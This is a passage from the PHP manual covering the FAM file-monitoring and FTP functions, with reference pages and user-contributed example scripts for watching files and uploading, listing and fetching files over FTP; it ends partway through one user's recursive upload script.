 - You cannot monitor a directory tree easily, since fam_monitor_directory() is non-recursive. Its an ugly hack, but you can go through each subdir and also monitor it with fam_monitor_directory().

 - When you do that, you will have another problem: The events you get contain the code and the filename, but not the pathname of the file that caused the event. Thus, if you monitor two or more directories, and they possibly contain files with the same basename, you cannot find out what file has changed. One ugly solution might be to create a new fam_resource for each directory you want to monitor, but then you cannot use fam_next_event() in your while loop anymore.

 - When a big file is saved (i.e. with photoshop via samba), you get file_changed events pretty much every second the file is being written to. It is not possible to receive ONE event AFTER the file operation is done.

I'm not sure, but I think most of this is not PHPs fault. Its just that fam (or dnotify, which fam uses on linux) sucks very badly. If you search on google, it seems everyone hates fam/dnotify (even linus), but noone has done anything about it yet.

If you find out how to work around thing, or if I'm completely wrong about all of this, please post here! Thanks!
sergiopaternoster at no_spam_tiscali dot it 21-May-2004 06:20
Here is a simple script to check changes etc. to a file.
<?php

/* opens a connection to the FAM service daemon */
$fam_res = fam_open ();

/*
 * The second argument is the full pathname
 * of the file to monitor.
 * Note that you can't use relative pathnames.
*/
$nres = fam_monitor_file ( $fam_res, '/home/sergio/test/fam/file_to_monitor.log');

while(1){
    if( fam_pending ( $fam_res ) ) $arr = (fam_next_event($fam_res)) ;
    switch ($arr['code']){
        case 1:
            echo "FAMChanged\n";
            break;
        case 2:
            echo "FAMDeleted\n";
            break;
        case 3:
            echo "FAMStartExecuting\n";
            break;
        case 4:
            echo "FAMStopExecuting\n";
            break;
        case 5:
            echo "FAMCreated\n";
            break;
        case 6:
            echo "FAMMoved\n";
            break;
        case 7:
            echo "FAMAcknowledge\n";
            break;
        case 8:
            echo "FAMExists\n";
            break;
        case 9:
            echo "FAMEndExist\n";
            break;
        default:
            break;
    }
    if(isset($arr)) unset($arr);

    /* In order to avoid too much CPU load */
    usleep(5000);
}

/* Close FAM connection */
fam_close($fam_res);

?>
Hope this could help.
God Belss PHP!
regards
Sergio Paternoster


Terminate monitoring

  • « FAM Functions
  • fam_close »
  • PHP Manual
  • FAM Functions
  • Terminate monitoring

fam_cancel_monitor

(PHP 5 <= 5.0.5)

fam_cancel_monitor — Terminate monitoring

Description

bool fam_cancel_monitor ( resource $fam , resource $fam_monitor )

Terminates monitoring on a resource.

In addition an FAMAcknowledge event occurs.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

fam_monitor

A resource returned by one of the fam_monitor_XXX functions

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fam_monitor_file() - Monitor a regular file for changes
  • fam_monitor_directory() - Monitor a directory for changes
  • fam_monitor_collection() - Monitor a collection of files in a directory for changes
  • fam_suspend_monitor() - Temporarily suspend monitoring

User Contributed Notes

There are no user contributed notes for this page.


Close FAM connection

  • « fam_cancel_monitor
  • fam_monitor_collection »
  • PHP Manual
  • FAM Functions
  • Close FAM connection

fam_close

(PHP 5 <= 5.0.5)

fam_close — Close FAM connection

Description

void fam_close ( resource $fam )

Closes a connection to the FAM service.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

Return Values

No value is returned.

See Also

  • fam_monitor_open()

User Contributed Notes

There are no user contributed notes for this page.


Monitor a collection of files in a directory for changes

  • « fam_close
  • fam_monitor_directory »
  • PHP Manual
  • FAM Functions
  • Monitor a collection of files in a directory for changes

fam_monitor_collection

(PHP 5 <= 5.0.5)

fam_monitor_collection — Monitor a collection of files in a directory for changes

Description

resource fam_monitor_collection ( resource $fam , string $dirname , int $depth , string $mask )

Requests monitoring for a collection of files within a directory.

A FAM event will be generated whenever the status of the files change. The possible event codes are described in detail in the constants part of this section.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

dirname

Directory path to the monitored files

depth

The maximum search depth starting from this directory

mask

A shell pattern mask restricting the file names to look for

Return Values

Returns a monitoring resource or FALSE on errors.

See Also

  • fam_monitor_file() - Monitor a regular file for changes
  • fam_monitor_directory() - Monitor a directory for changes
  • fam_cancel_monitor() - Terminate monitoring
  • fam_suspend_monitor() - Temporarily suspend monitoring
  • fam_resume_monitor() - Resume suspended monitoring

User Contributed Notes

There are no user contributed notes for this page.


Monitor a directory for changes

  • « fam_monitor_collection
  • fam_monitor_file »
  • PHP Manual
  • FAM Functions
  • Monitor a directory for changes

fam_monitor_directory

(PHP 5 <= 5.0.5)

fam_monitor_directory — Monitor a directory for changes

Description

resource fam_monitor_directory ( resource $fam , string $dirname )

Requests monitoring for a directory and all contained files.

A FAM event will be generated whenever the status of the directory (i.e. the result of function stat() on that directory) or its content (i.e. the results of readdir()) changes.

The possible event codes are described in detail in the constants part of this section.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

dirname

Path to the monitored directory

Return Values

Returns a monitoring resource or FALSE on errors.

See Also

  • fam_monitor_file() - Monitor a regular file for changes
  • fam_monitor_collection() - Monitor a collection of files in a directory for changes
  • fam_cancel_monitor() - Terminate monitoring
  • fam_suspend_monitor() - Temporarily suspend monitoring
  • fam_resume_monitor() - Resume suspended monitoring

User Contributed Notes

There are no user contributed notes for this page.


Monitor a regular file for changes

  • « fam_monitor_directory
  • fam_next_event »
  • PHP Manual
  • FAM Functions
  • Monitor a regular file for changes

fam_monitor_file

(PHP 5 <= 5.0.5)

fam_monitor_file — Monitor a regular file for changes

Description

resource fam_monitor_file ( resource $fam , string $filename )

Requests monitoring for a single file. A FAM event will be generated whenever the file status changes (i.e. the result of function stat() on that file).

The possible event codes are described in detail in the constants part of this section.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

filename

Path to the monitored file

Return Values

Returns a monitoring resource or FALSE on errors.

See Also

  • fam_monitor_directory() - Monitor a directory for changes
  • fam_monitor_collection() - Monitor a collection of files in a directory for changes
  • fam_cancel_monitor() - Terminate monitoring
  • fam_suspend_monitor() - Temporarily suspend monitoring
  • fam_resume_monitor() - Resume suspended monitoring

User Contributed Notes

There are no user contributed notes for this page.


Get next pending FAM event

  • « fam_monitor_file
  • fam_open »
  • PHP Manual
  • FAM Functions
  • Get next pending FAM event

fam_next_event

(PHP 5 <= 5.0.5)

fam_next_event — Get next pending FAM event

Description

array fam_next_event ( resource $fam )

Returns the next pending FAM event.

The function will block until an event is available which can be checked for using fam_pending().

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

Return Values

Returns an array that contains a FAM event code in the 'code' element, the path of the file this event applies to in the 'filename' element and optionally a hostname in the 'hostname' element.

The possible event codes are described in detail in the constants part of this section.

See Also

  • fam_pending() - Check for pending FAM events

User Contributed Notes

There are no user contributed notes for this page.


Open connection to FAM daemon

  • « fam_next_event
  • fam_pending »
  • PHP Manual
  • FAM Functions
  • Open connection to FAM daemon

fam_open

(PHP 5 <= 5.0.5)

fam_open — Open connection to FAM daemon

Description

resource fam_open ([ string $appname ] )

Opens a connection to the FAM service daemon.

Parameters

appname

A string identifying the application for logging reasons

Return Values

Returns a resource representing a connection to the FAM service on success or FALSE on errors.

See Also

  • fam_close() - Close FAM connection

User Contributed Notes

There are no user contributed notes for this page.


Check for pending FAM events

  • « fam_open
  • fam_resume_monitor »
  • PHP Manual
  • FAM Functions
  • Check for pending FAM events

fam_pending

(PHP 5 <= 5.0.5)

fam_pending — Check for pending FAM events

Description

int fam_pending ( resource $fam )

Checks for pending FAM events.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

Return Values

Returns non-zero if events are available to be fetched using fam_next_event(), zero otherwise.

See Also

  • fam_next_event() - Get next pending FAM event

User Contributed Notes

There are no user contributed notes for this page.


Resume suspended monitoring

  • « fam_pending
  • fam_suspend_monitor »
  • PHP Manual
  • FAM Functions
  • Resume suspended monitoring

fam_resume_monitor

(PHP 5 <= 5.0.5)

fam_resume_monitor — Resume suspended monitoring

Description

bool fam_resume_monitor ( resource $fam , resource $fam_monitor )

Resumes monitoring of a resource previously suspended using fam_suspend_monitor().

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

fam_monitor

A resource returned by one of the fam_monitor_XXX functions

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fam_suspend_monitor() - Temporarily suspend monitoring

User Contributed Notes

There are no user contributed notes for this page.


Temporarily suspend monitoring

  • « fam_resume_monitor
  • FTP »
  • PHP Manual
  • FAM Functions
  • Temporarily suspend monitoring

fam_suspend_monitor

(PHP 5 <= 5.0.5)

fam_suspend_monitor — Temporarily suspend monitoring

Description

bool fam_suspend_monitor ( resource $fam , resource $fam_monitor )

fam_suspend_monitor() temporarily suspend monitoring of a resource.

Monitoring can later be continued using fam_resume_monitor() without the need of requesting a complete new monitor.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

fam_monitor

A resource returned by one of the fam_monitor_XXX functions

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fam_cancel_monitor() - Terminate monitoring
  • fam_resume_monitor() - Resume suspended monitoring

User Contributed Notes

There are no user contributed notes for this page.


FTP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • FTP Functions
    • ftp_alloc — Allocates space for a file to be uploaded
    • ftp_cdup — Changes to the parent directory
    • ftp_chdir — Changes the current directory on a FTP server
    • ftp_chmod — Set permissions on a file via FTP
    • ftp_close — Closes an FTP connection
    • ftp_connect — Opens an FTP connection
    • ftp_delete — Deletes a file on the FTP server
    • ftp_exec — Requests execution of a command on the FTP server
    • ftp_fget — Downloads a file from the FTP server and saves to an open file
    • ftp_fput — Uploads from an open file to the FTP server
    • ftp_get_option — Retrieves various runtime behaviours of the current FTP stream
    • ftp_get — Downloads a file from the FTP server
    • ftp_login — Logs in to an FTP connection
    • ftp_mdtm — Returns the last modified time of the given file
    • ftp_mkdir — Creates a directory
    • ftp_nb_continue — Continues retrieving/sending a file (non-blocking)
    • ftp_nb_fget — Retrieves a file from the FTP server and writes it to an open file (non-blocking)
    • ftp_nb_fput — Stores a file from an open file to the FTP server (non-blocking)
    • ftp_nb_get — Retrieves a file from the FTP server and writes it to a local file (non-blocking)
    • ftp_nb_put — Stores a file on the FTP server (non-blocking)
    • ftp_nlist — Returns a list of files in the given directory
    • ftp_pasv — Turns passive mode on or off
    • ftp_put — Uploads a file to the FTP server
    • ftp_pwd — Returns the current directory name
    • ftp_quit — Alias of ftp_close
    • ftp_raw — Sends an arbitrary command to an FTP server
    • ftp_rawlist — Returns a detailed list of files in the given directory
    • ftp_rename — Renames a file or a directory on the FTP server
    • ftp_rmdir — Removes a directory
    • ftp_set_option — Set miscellaneous runtime FTP options
    • ftp_site — Sends a SITE command to the server
    • ftp_size — Returns the size of the given file
    • ftp_ssl_connect — Opens an Secure SSL-FTP connection
    • ftp_systype — Returns the system type identifier of the remote FTP server

User Contributed Notes

rob at signalfire dot co dot uk 17-Jan-2014 06:56
In example 2 above you may need to set the system to to use pasv to get a result ie:

$ftp = new ftp('ftp.example.com');
$ftp->ftp_login('username','password');
$ftp->ftp_pasv(TRUE);
var_dump($ftp->ftp_nlist());
boris dot hocde at gmail dot com 01-Aug-2013 07:21
Think about using the ftp:// wrapper for simple manipulations (getting or storing a single file).

<?php
$content = file_get_contents('ftp://login:password@server/directory/file.txt');
copy('local_file.txt', 'ftp://login:password@server/directory/new_file.txt');
?>

Same kind of mistake: using cURL to get the content of a public URL...
asifkhandk at gmail dot com 25-Feb-2013 02:19
Upload file to server via ftp.

<?php
$ftp_server="";
 $ftp_user_name="";
 $ftp_user_pass="";
 $file = "";//tobe uploaded
 $remote_file = "";

 // set up basic connection
 $conn_id = ftp_connect($ftp_server);

 // login with username and password
 $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

 // upload a file
 if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "successfully uploaded $file\n";
    exit;
 } else {
    echo "There was a problem while uploading $file\n";
    exit;
    }
 // close the connection
 ftp_close($conn_id);
?>
tendrid at gmail dot com 21-Sep-2011 06:15
For those who dont want to deal with handling the connection once created, here is a simple class that allows you to call any ftp function as if it were an extended method.  It automatically puts the ftp connection into the first argument slot (as all ftp functions require).

This code is php 5.3+

<?php
class ftp{
    public $conn;

    public function __construct($url){
        $this->conn = ftp_connect($url);
    }

    public function __call($func,$a){
        if(strstr($func,'ftp_') !== false && function_exists($func)){
            array_unshift($a,$this->conn);
            return call_user_func_array($func,$a);
        }else{
            // replace with your own error handler.
            die("$func is not a valid FTP function");
        }
    }
}

// Example
$ftp = new ftp('ftp.example.com');
$ftp->ftp_login('username','password');
var_dump($ftp->ftp_nlist());
?>


Introduction

The functions in this extension implement client access to files servers speaking the File Transfer Protocol (FTP) as defined in » http://www.faqs.org/rfcs/rfc959. This extension is meant for detailed access to an FTP server providing a wide range of control to the executing script. If you only wish to read from or write to a file on an FTP server, consider using the ftp:// wrapper with the filesystem functions which provide a simpler and more intuitive interface.

User Contributed Notes

There are no user contributed notes for this page.


Installation

In order to use FTP functions with your PHP configuration, you should add the --enable-ftp option when installing PHP.

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension uses one resource type, which is the link identifier of the FTP connection, returned by ftp_connect() or ftp_ssl_connect().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FTP_ASCII (integer)

FTP_TEXT (integer)

FTP_BINARY (integer)

FTP_IMAGE (integer)

FTP_TIMEOUT_SEC (integer)

See ftp_set_option() for information.

The following constants were introduced in PHP 4.3.0.

FTP_AUTOSEEK (integer)

See ftp_set_option() for information.

FTP_AUTORESUME (integer)

Automatically determine resume position and start position for GET and PUT requests (only works if FTP_AUTOSEEK is enabled)

FTP_FAILED (integer)

Asynchronous transfer has failed

FTP_FINISHED (integer)

Asynchronous transfer has finished

FTP_MOREDATA (integer)

Asynchronous transfer is still active

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Example #1 FTP example

<?php
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// check connection
if ((!$conn_id) || (!$login_result)) {
    echo "FTP connection has failed!";
    echo "Attempted to connect to $ftp_server for user $ftp_user_name";
    exit;
} else {
    echo "Connected to $ftp_server, for user $ftp_user_name";
}

// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// check upload status
if (!$upload) {
    echo "FTP upload has failed!";
} else {
    echo "Uploaded $source_file to $ftp_server as $destination_file";
}

// close the FTP stream
ftp_close($conn_id);
?>

User Contributed Notes

kane dot prajakta at gmail dot com 14-Jan-2010 11:53
I used following code successfully to connect to "lftp" server and see the complete dir listing.
also ftp_pasv($conn_id, true); trick works fine for lftp server :)

<?php
// set up basic connection
$ftp_server = "example.com";
$conn_id = ftp_ssl_connect($ftp_server);

// login with username and password
$ftp_user_name = "myuser";
$ftp_user_pass = "mypass";
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_pasv($conn_id, true);
// check connection
if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name";
    }

$buff = ftp_rawlist($conn_id, '.');
 var_dump($buff);
ftp_close($conn_id);
?>

Thanks ,
Prajakta
clemensroth2004 at yahoo dot de 09-Jul-2009 12:06
My FTP-Server always responded "bool(false)" instead of presenting me a directory-listing. I had to add
ftp_pasv($conn_id, true); right after the $login_result = ftp_login(...); line.
After that it just worked fine.


FTP Functions

Table of Contents

  • ftp_alloc — Allocates space for a file to be uploaded
  • ftp_cdup — Changes to the parent directory
  • ftp_chdir — Changes the current directory on a FTP server
  • ftp_chmod — Set permissions on a file via FTP
  • ftp_close — Closes an FTP connection
  • ftp_connect — Opens an FTP connection
  • ftp_delete — Deletes a file on the FTP server
  • ftp_exec — Requests execution of a command on the FTP server
  • ftp_fget — Downloads a file from the FTP server and saves to an open file
  • ftp_fput — Uploads from an open file to the FTP server
  • ftp_get_option — Retrieves various runtime behaviours of the current FTP stream
  • ftp_get — Downloads a file from the FTP server
  • ftp_login — Logs in to an FTP connection
  • ftp_mdtm — Returns the last modified time of the given file
  • ftp_mkdir — Creates a directory
  • ftp_nb_continue — Continues retrieving/sending a file (non-blocking)
  • ftp_nb_fget — Retrieves a file from the FTP server and writes it to an open file (non-blocking)
  • ftp_nb_fput — Stores a file from an open file to the FTP server (non-blocking)
  • ftp_nb_get — Retrieves a file from the FTP server and writes it to a local file (non-blocking)
  • ftp_nb_put — Stores a file on the FTP server (non-blocking)
  • ftp_nlist — Returns a list of files in the given directory
  • ftp_pasv — Turns passive mode on or off
  • ftp_put — Uploads a file to the FTP server
  • ftp_pwd — Returns the current directory name
  • ftp_quit — Alias of ftp_close
  • ftp_raw — Sends an arbitrary command to an FTP server
  • ftp_rawlist — Returns a detailed list of files in the given directory
  • ftp_rename — Renames a file or a directory on the FTP server
  • ftp_rmdir — Removes a directory
  • ftp_set_option — Set miscellaneous runtime FTP options
  • ftp_site — Sends a SITE command to the server
  • ftp_size — Returns the size of the given file
  • ftp_ssl_connect — Opens an Secure SSL-FTP connection
  • ftp_systype — Returns the system type identifier of the remote FTP server

User Contributed Notes

spam at kacke dot de 28-Mar-2008 06:46
Here is a FTP-abstraction-class which supports the most commands.

Also it works on TLS, SSLv2 etc. by using stream_crypto_enable()

http://kacke.de/php_samples/source.php?f=ftp.cls.php

Many thanks to WEZ at this point after all the years :-)

Toppi
dot a dot@dot dot com 18-Sep-2007 05:49
This took me a few hours to work out. It is based on the code below I've just added a string replace to convert pathname given by Windows to Unix pathname. Hope it saves somebody some time. Enjoy! (Also, delete file function is included:))

<?php
$myFile = $_FILES['file']; // This will make an array out of the file information that was stored.
    $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.
    $myFileName = $_POST['MyFile']; //Retrieve file path and file name
    $myfile_replace = str_replace('\\', '/', $myFileName);    //convert path for use with unix
    $myfile = basename($myfile_replace);    //extract file name from path
    $destination_file = "/".$myfile;  //where you want to throw the file on the webserver (relative to your login dir)
    // connection settings
    $ftp_server = "127.0.0.1";  //address of ftp server (leave out ftp://)
    $ftp_user_name = ""; // Username
    $ftp_user_pass = "";   // Password
    $conn_id = ftp_connect($ftp_server);        // set up basic connection
    // login with username and password, or give invalid user message
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h1>You do not have access to this ftp server!</h1>");
    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
    if (!$upload) {  // check upload status
        echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
    }
/*
    // try to delete $file
    if (ftp_delete($conn_id, $destination_file)) {
        echo "$destination_file has been deleted!\n";
    } else {
        echo "Could not delete $destination_file!\n";
    }
*/
ftp_close($conn_id); // close the FTP stream
}
?>
<form name="form" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" >
Please choose a file: <input type="file" name="file" accept="text/plain" onChange="MyFile.value=file.value">
<input name="MyFile" type="hidden" id="MyFile" tabindex="99" size="1" />
<input type="submit" name="submit" value="upload" style="vertical-align:middle"/><br/><br/>
</form>
ras "at" fyn {dot} dk 26-Jan-2007 10:11
A function to get a remote file and return it's contents, instead of saving to a local file, was missing - here it is:

function ftp_fetch($ftp_stream, $remote_file) {
    ob_end_flush();
    ob_start();
    $out = fopen('php://output', 'w');
    if (!ftp_fget($ftp_stream, $out, $remote_file, FTP_ASCII)) die('Unable to get file: ' . $remote_file);
    fclose($out);
    $data = ob_get_clean();
    return $data;
}

It works the same as ftp_get(), but instead returns the contents of the remote file - for example:

$ftp = ftp_connect('my.server.com', 21, 60);
ftp_login($ftp, 'username', 'password');
$data = ftp_fetch($ftp, 'path/to/remote.file');
echo $data;

Note, I use it to fetch text-files from a server - if you need to fetch binary files, change FTP_ASCII to FTP_BINARY .. but most likely, getting files to memory is only useful for smaller files, e.g. plain text, xml, etc.
breese at pipetech dot tv 29-Dec-2006 06:02
I fixed the below upload script to work with Windows uploads (and updated some of the syntax). I also added a Javascript "progress indicator" for those of us who don't use PHP 5.2

<?php
if(isset($_POST['start_upload']) && $_FILES['txt_file']['name'] != ""){

    $local_file = $_FILES['txt_file']['tmp_name']; // Defines Name of Local File to be Uploaded

    $destination_file = "/".basename($_FILES['txt_file']['name']);  // Path for File Upload (relative to your login dir)

    // Global Connection Settings
    $ftp_server = "127.0.0.1";      // FTP Server Address (exlucde ftp://)
    $ftp_user_name = "username";     // FTP Server Username
    $ftp_user_pass = "password";      // Password

    // Connect to FTP Server
    $conn_id = ftp_connect($ftp_server);
    // Login to FTP Server
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    // Verify Log In Status
    if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed! <br />";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name <br />";
    }

    $upload = ftp_put($conn_id, $destination_file, $local_file, FTP_BINARY);  // Upload the File

    // Verify Upload Status
    if (!$upload) {
        echo "<h2>FTP upload of ".$_FILES['txt_file']['name']." has failed!</h2><br /><br />";
    } else {
        echo "Success!<br />" . $_FILES['txt_file']['name'] . " has been uploaded to " . $ftp_server . $destination_file . "!<br /><br />";
    }

    ftp_close($conn_id); // Close the FTP Connection
}
?>

<html>
    <head>
        <script type="text/javascript">
            window.onload = function() {
                document.getElementById("progress").style.visibility = "hidden";
                document.getElementById("prog_text").style.visibility = "hidden";
            }

            function dispProgress() {
                document.getElementById("progress").style.visibility = "visible";
                document.getElementById("prog_text").style.visibility = "visible";
            }

        </script>

    </head>
    <body>
        <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST" enctype="multipart/form-data">
            Please choose a file: <input name="txt_file" type="file" size="35" />
            <input type="submit" name="start_upload" value="Upload File" onClick="dispProgress()" />
        </form>

        <!-- Link to progress file: see http://www.ajaxload.info/ for animated gifs -->
        <img id="progress" src="http://www.your.site/images/progress.gif" />
        <p id="prog_text" style="display:inline;"> Upload Started!</p>

    </body>
<html>
cgray at premierconsulting dot com (Chris Gray) 24-Oct-2006 05:58
After looking everywhere for a "FULLY WORKING" ftp uploader script, I finally came up with this, by using a lot of various one’s I found on the web. If you find a better way of doing something, please let me know. Thanks, and Enjoy

<?php
  if(isset($_POST['SubmitFile'])){
      $myFile = $_FILES['txt_file']; // This will make an array out of the file information that was stored.
      $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.

      $myFileName = basename($_POST['txt_fileName']); //Retrieve filename out of file path

      $destination_file = "/".$myFileName;  //where you want to throw the file on the webserver (relative to your login dir)

      // connection settings
      $ftp_server = "127.0.0.1";  //address of ftp server.
      $ftp_user_name = "Your UserName"; // Username
      $ftp_user_pass = "Your Password";   // Password

      $conn_id = ftp_connect($ftp_server);        // set up basic connection
      $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h2>You do not have access to this ftp server!</h2>");   // login with username and password, or give invalid user message
      if ((!$conn_id) || (!$login_result)) {  // check connection
             // wont ever hit this, b/c of the die call on ftp_login
             echo "FTP connection has failed! <br />";
             echo "Attempted to connect to $ftp_server for user $ftp_user_name";
             exit;
         } else {
         //    echo "Connected to $ftp_server, for user $ftp_user_name <br />";
      }

      $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
      if (!$upload) {  // check upload status
         echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
      } else {
         echo "Uploading $myFileName Complete!<br /><br />";
      }

      ftp_close($conn_id); // close the FTP stream
  }
?>

<html>
  <head>

  </head>
  <body>
        <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST">
            Please choose a file: <input name="txt_file" type="file" id="txt_file" tabindex="1" size="35" onChange="txt_fileName.value=txt_file.value" />
            <input name="txt_fileName" type="hidden" id="txt_fileName" tabindex="99" size="1" />

            <input type="submit" name="SubmitFile" value="Upload File" accesskey="ENTER" tabindex="2" />
      </form>
  </body>
<html>
nicklas at programmera dot nu 15-Aug-2006 11:56
I didn't quite like my FTP program since I had to make all the settings all over when i restarted the client, so I made this script for simple ftp uploading, its running as a CLI app.

<?php

    //if STDIN isn't defined, define it
    if (!defined("STDIN"))
    {

        define("STDIN", fopen("php://stdin", "r"));

    }

    echo "FTP file uploader\r\n\r\n";

    echo "Server: ";

    //trim() all the fgets cause it seams to add a \n
    $server = trim(fgets(STDIN));

    echo "Username: ";

    $username = trim(fgets(STDIN));

    echo "Password: ";

    $password = trim(fgets(STDIN));

    $connect = ftp_connect($server);
    $login = ftp_login($connect, $username, $password);

    if ((!$connect) || (!$login))
    {

        exit("Login failed.\r\n");

    }

    echo "Connected\r\n";

    echo "PASV (Y/Any key = Off): ";

    if(trim(fgets(STDIN)) == "Y")
    {

        //enable passive mode
        ftp_pasv($connect, true);

            echo "PASV: On\r\n";

    }
    else
    {

        echo "PASV: Off\r\n";

    }

    $showContent = ftp_nlist($connect, "");

    echo "Listing Contents:\r\n";

        var_dump($showContent);

    echo "File to upload: ";

    $file = trim(fgets(STDIN));

    //escape the uploading process by typing "exit;"
    if ($file == "exit;")
    {

        exit;

    }

    //use "$file, $file" since the file shouldn't be renamed, also if its a binary file change the last argument to FTP_BINARY
    $upload = ftp_put($connect, $file, $file, FTP_ASCII);

    if (!$upload)
    {

        exit("Upload failed.\r\n");

    }
    else
    {

        echo "The file \"" . $file . "\" was successfully uploaded. :)\r\nSize of \"" . $file . "\": " . filesize($file) / 1024 ."kb.\r\n";
        echo "My work is done, bye.\r\n";

    }

    ftp_close($connect);

?>
magic2lantern at mail dot ru 23-Dec-2005 05:19
This is a simple script writen by me which allows the user
run it in console and get tree from FTP Server.

<?php
$argv = $_SERVER["argv"];
$argv = array_slice($argv,1);
if (getenv("HTTP_HOST")) {exit("For bash execution only!");}
if ((empty($argv[0])) || (empty($argv[1]))) {exit("Usage: thisscript.php 10.0.0.10 /games/Arcade/
where 10.0.0.10 is the FTP Server and /games/Arcade is the start path on FTP\n");}

// connect to the ftp server
$connect_id = ftp_connect($argv[0]);
// login on the server
if ($connect_id) { $login_result = ftp_login($connect_id, 'anonymous', 'JustForFun'); }
// check connection
if ((!$connect_id) || (!$login_result)) {
   echo "Unable to connect the remote FTP Server!\n";
   exit;
}
function ftp_get_dir ($ftp_dir) {
global $connect_id;
$ftp_contents = ftp_nlist ($connect_id, $ftp_dir);
    for ($myCounter_for_server_elements = 0; !empty ($ftp_contents[$myCounter_for_server_elements]);
$myCounter_for_server_elements++)
    {
// get elements list in current dir
        echo $argv[0] . $ftp_dir . $ftp_contents[$myCounter_for_server_elements] . "\n";
        ftp_get_dir ($ftp_dir . $ftp_contents[$myCounter_for_server_elements] . '/');
    }
}
ftp_get_dir ($argv[1]);
// close connection
ftp_close($connect_id);
?>
leonardo at rol dot com dot ro 09-Aug-2005 03:51
Here is an example for downloading a remote ftp structure to local server, useful for migrating sites from one server to another, especially when you are upgrading ensim ;)

http://leonardo.rol.ro/ftpleech.txt
dickiedyce at uk dot com 07-May-2005 05:20
It may seem obvious to others, but it had me stumped for nearly an hour! If you can connect to an ftp site but some functions (list, put, get etc) don't work, then try using ftp_pasv and set passive mode on.

<?php

// setup $host and $file variables for your setup before here...

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// IMPORTANT!!! turn passive mode on
ftp_pasv ( $conn_id, true );

if ((!$conn_id) || (!$login_result)) {
  echo "FTP connection has failed!";
  echo "Attempted to connect to $host for user $ftp_user_name";
  die;
} else {
  echo "Connected to $host, for user $ftp_user_name<br>";
  echo "Host IP is $hostip<br>";

  // upload a file
  if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "successfully uploaded $file<br>";
  } else {
    echo "There was a problem while uploading $file<br>";
  }

  // close the connection
  ftp_close($conn_id);
}
?>
arjen at queek dot nl 15-Jul-2004 04:38
If you prefer a OO-approach to the FTP-functions, you can use this snippet of code (PHP5 only! and does add some overhead). It's just a "start-up", extend/improve as you wish...
You can pass all ftp_* functions to your object and stripping ftp_ of the function name. Plus, you don't have to pass the ftp-resource as the first argument.

For example:
<?php
ftp_delete($ftp, $file);    // Where $ftp is your ftp-resource
?>

Can become:
<?php
$ftp->delete($file);        // Where $ftp is your FTP-object
?>

Code:
<?php

class FTP {

    private $ftp;

    /* public Void __construct(): Constructor */
    public function __construct($host, $port = 21, $timeout = 90) {
        $this->ftp = ftp_connect($host, $port, $timeout);
    }

    /* public Void __destruct(): Destructor */
    public function __destruct() {
        @ftp_close($this->ftp);
    }

    /* public Mixed __call(): Re-route all function calls to the PHP-functions */
    public function __call($function, $arguments) {
        // Prepend the ftp resource to the arguments array
        array_unshift($arguments, $this->ftp);

        // Call the PHP function
        return call_user_func_array('ftp_' . $function, $arguments);
    }

}

?>
Kristy Christie (kristy at isp7 dot net) 15-Jun-2004 08:50
Here's a little function that I created to recurse through a local directory and upload the entire contents to a remote FTP server.

In the example, I'm trying to copy the entire "iwm" directory located at /home/kristy/scripts/iwm to a remote server's /public_html/test/ via FTP.

The only trouble is that for the line "if (!ftp_chdir($ftpc,$ftproot.$srcrela))", which I use to check if the directory already exists on the remote server, spits out a warning about being unable to change to that directory if it doesn't exist.

But an error handler should take care of it.

My thanks to the person who posted the snippet on retrieving the list of files in a directory.

For the version of the script that echo's it's progress as it recurses & uploads, go to: http://pastebin.com/73784

<?php

// --------------------------------------------------------------------
// THE TRIGGER
// --------------------------------------------------------------------

    // set the various variables
    $ftproot = "/public_html/test/";
